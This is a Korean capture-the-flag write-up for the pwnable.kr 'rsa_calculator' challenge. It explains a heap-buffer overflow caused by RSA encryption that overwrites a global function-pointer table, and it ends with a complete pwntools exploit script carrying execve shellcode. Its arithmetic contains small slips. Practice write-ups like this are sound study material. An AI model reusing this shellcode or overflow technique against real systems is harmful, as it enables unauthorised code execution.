Pwnable.kr rsa_calculator

이 문제는 rsa 암호 알고리즘에 관련된 문제인데...rsa 공부를 하고도 한참을 헤멨다.

 

보호기법

카나리만 걸려있다.

 

소스코드

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int *v3; // rsi
  bool v5; // dl
  int v6; // [rsp+Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  v3 = 0LL;
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("- Buggy RSA Calculator -\n");
  func[0] = (__int64)set_key;
  qword_602508 = (__int64)RSA_encrypt;
  qword_602510 = (__int64)RSA_decrypt;
  qword_602518 = (__int64)help;
  qword_602520 = (__int64)myexit;
  dword_602528 = 1634629488;
  dword_60252C = 778398818;
  dword_602530 = 1936290411;
  dword_602534 = 1953719650;
  qword_602538 = (__int64)system;
  v6 = 0;
  while ( 1 )
  {
    puts("\n- select menu -");
    puts("- 1. : set key pair");
    puts("- 2. : encrypt");
    puts("- 3. : decrypt");
    puts("- 4. : help");
    puts("- 5. : exit");
    printf("> ", v3);
    v3 = &v6;
    __isoc99_scanf("%d", &v6);
    if ( (unsigned int)(v6 + 1) > 6 )
      break;
    ((void (*)(void))func[v6 - 1])();
    v5 = g_try++ > 10;
    if ( v5 )
    {
      puts("this is demo version");
      exit(0);
    }
  }
  puts("invalid menu");
  return 0;
}

 

우선 메인함수를 보면 

 

그냥 메뉴가 나와있고, 메뉴만 봐도 대~충 무슨 역할을 하는지는 감이 오긴하지만 분석해보자.

 

기회가 된다면 rsa 암호화 알고리즘에 대한 것도 글로 남겨놓고 싶다.일단 여기서는 문제를 풀어야하니

signed __int64 set_key()
{
  unsigned int v1; // [rsp+18h] [rbp-18h]
  unsigned int v2; // [rsp+1Ch] [rbp-14h]
  unsigned int i; // [rsp+20h] [rbp-10h]
  unsigned int v4; // [rsp+24h] [rbp-Ch]
  unsigned int v5; // [rsp+28h] [rbp-8h]
  __int16 v6; // [rsp+2Ch] [rbp-4h]
  __int16 v7; // [rsp+2Eh] [rbp-2h]

  puts("-SET RSA KEY-");
  printf("p : ");
  __isoc99_scanf("%d", &v6);
  printf("q : ", &v6);
  __isoc99_scanf("%d", &v7);
  printf("p, q, set to %d, %d\n", (unsigned int)v6, (unsigned int)v7);
  puts("-current private key and public keys-");
  printf("public key : ");
  for ( i = 0; i <= 7; ++i )
    printf("%02x ", pub[i]);
  printf("\npublic key : ");
  for ( i = 0; i <= 7; ++i )
    printf("%02x ", pri[i]);
  putchar(10);
  v4 = v6 * v7;
  v5 = (v6 - 1) * (v7 - 1);
  printf("N set to %d, PHI set to %d\n", v4, v5);
  printf("set public key exponent e : ");
  __isoc99_scanf("%d", &v1);
  printf("set private key exponent d : ", &v1);
  __isoc99_scanf("%d", &v2);
  if ( v1 < v5 && v2 < v5 && v2 * v1 % v5 != 1 )
  {
    puts("wrong parameters for key generation");
    exit(0);
  }
  if ( v4 <= 0xFF )
  {
    puts("key length too short");
    exit(0);
  }
  set_pub_key(v1, v4, pub);
  set_pri_key(v2, v4, pri);
  puts("key set ok");
  printf("pubkey(e,n) : (%d(%08x), %d(%08x))\n", v1, v1, v4, v4);
  printf("prikey(d,n) : (%d(%08x), %d(%08x))\n", v2, v2, v4, v4);
  is_set = 1;
  return 1LL;
}

 

보면 입력을 총 네 번 받는다. p, q, e, d 이렇게 네 숫자를 입력받는데, 이 값들이 rsa 공개키를 만드는데 쓰이는 값들이다.

 

암호화 과정

pow(평문, e) % N(p * q)

 

우선 데이터가 어떻게 들어가는 지 보려고 RSA_encrypt 함수의 fread와 memcpy 함수에 bp를 걸고 실행시켜보았다.

 

set key 함수에서는 일단 임의로

 

 

이렇게 값을 주었고,

2번 encrpyt 함수로 들어갔다.

 

plain text를 AAAABBBBCC로 주고 memcpy를 실행 후 g_pbuf를 보면

 

 

이렇게 값이 들어가있다.

이 다음에 encrypt 되는 과정이 나오는데 IDA로 보면 이렇게 되어있다.

 

 

g_pbuf의 길이만큼 반복문을 돌면서 public key로 plain text를 한글자씩 encrypt한다.

 

AAAABBBBCC가 전부 encrypt되면

 

 

위와 같이 된다. B는 encrypt되면 0x00000000이 되는듯 뭐 이것도 public key를 어떻게 설정하느냐에 따라 다르겠지만 이 부분이 크게 문제가 될까 싶다.

 

IDA로 보면

g_pbuf(plain text가 들어 가는 곳)은 1024바이트이고, g_ebuf(암호화된 text가 들어가는 곳)은 256바이트로 비교적 작은 크기이다.

 

여기에서 overflow가 일어나는 이유는 plain text 1바이트가 암호화될 때 4바이트가 되기 때문이라는 것이다. 이렇게 overflow하여 0x420바이트를 넘어가서 0x602500에 도달하게 되면

 

 

func라는 전역 변수를 덮어쓸 수 있는데, 이 곳에 있는 주소는 set_key함수로 1번 메뉴에 해당하는 곳이다. 이 곳의 주소를 적절하게 덮어쓰면 될 것 같다.

 

시나리오를 이렇게 짜보자 plain text로 쉘코드를 주고, dummy를 충분히 주어서 func에 쉘코드가 들어있는 주소를 덮어 쓰게 해준 뒤, 메뉴에서 1번을 누르면 쉘이 획득될 것이다.

 

근데 문제는 plain text가 들어갈 곳의 주소는 다행히도 0x602560로 고정이지만 encrpyt되서 들어갈 것이기 때문에 마지막 1바이트가 encrypt 되었을 때 0x602560가 되도록 만들어줘야한다. 이 부분을 좀 연구해봐야할 듯 하다.

 

물론 이 이외에도 다른 시나리오는 많을 것 같다 우선 system plt가 존재하기도 하니 말이다.

 

아무튼 정확히 264바이트의 plain text를 넣어주면

 

 

func직전까지 채울 수 있다 이제 나머지 1바이트를 어떻게 채워주느냐인데...

 

pow(평문, e) % N(p * q) = 0x602560(6301024)

 

pow(평문, e) % N(p * q) = 0x602560(6301024)

p * q = @

N * @ + 6301024 = pow(평문, e)

N * @ = pow(평문, e) - 6301024

 

이걸 만족해야한다.

 

평문의 e승이 6301024 근처의 숫자여야 하는데 수학에 약해서;; 이 숫자를 찾는 데에 한참 걸렸다. 

 

그러다 14^7이 그나마 좀 근접하다고 판단되어서 이렇게 가정하고 풀어보았다.

 

평문 = 14(\x0E)

e = 7

14^7 = 105413504

N * @ = 105413504 - 6301024

N * @ = 99112480

 

이제 이 99112480을 계속 나눠서 p와 q의 값을 구하면 된다.

 

99112480 / 8 = 12389060

12386060 / 4 = 3097265

3097265 / 5 = 619453

619453 / 509 = 1217

 

1217 * 40 = 4868(q)

5 * 509 = 2545(p)

 

이렇게 p와 q를 구하고 난 후 입력을 페이로드를 짜 보았다.

 

우선 1번 메뉴에서 각 숫자들을 넣어주면 되고, 2번 메뉴에서 265바이트 만큼 사이즈를 설정하여 nop과 쉘코드를 적절히 넣어준 다음, 마지막에 "\x0E"를 넣어주면 될 것이다.

 

ex.py

from pwn import*

#p = process("./rsa_calculator")
p = remote("pwnable.kr", 9012)
p1 = 4868
q1 = 2545
e = 7
d = 99112480

shell = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

p.recvuntil("> ")
p.sendline("1")

p.recvuntil("p : ")
p.sendline(str(p1))
p.recvuntil("q : ")
p.sendline(str(q1))
p.recvuntil("set public key exponent e : ")
p.sendline(str(e))
p.recvuntil("set private key exponent d : ")
p.sendline(str(d))

p.recvuntil("> ")
p.sendline("2")
p.recvuntil("how long is your data?(max=1024) : ")
p.sendline("265")

payload = "\x90" * 200 + shell + "\x90" * 41 + "\x0e"

p.sendline(payload)

p.recvuntil("> ")
p.sendline("1")

p.interactive()

 

이렇게 해서 보내주면

 

 

쉘을 딸 수 있다.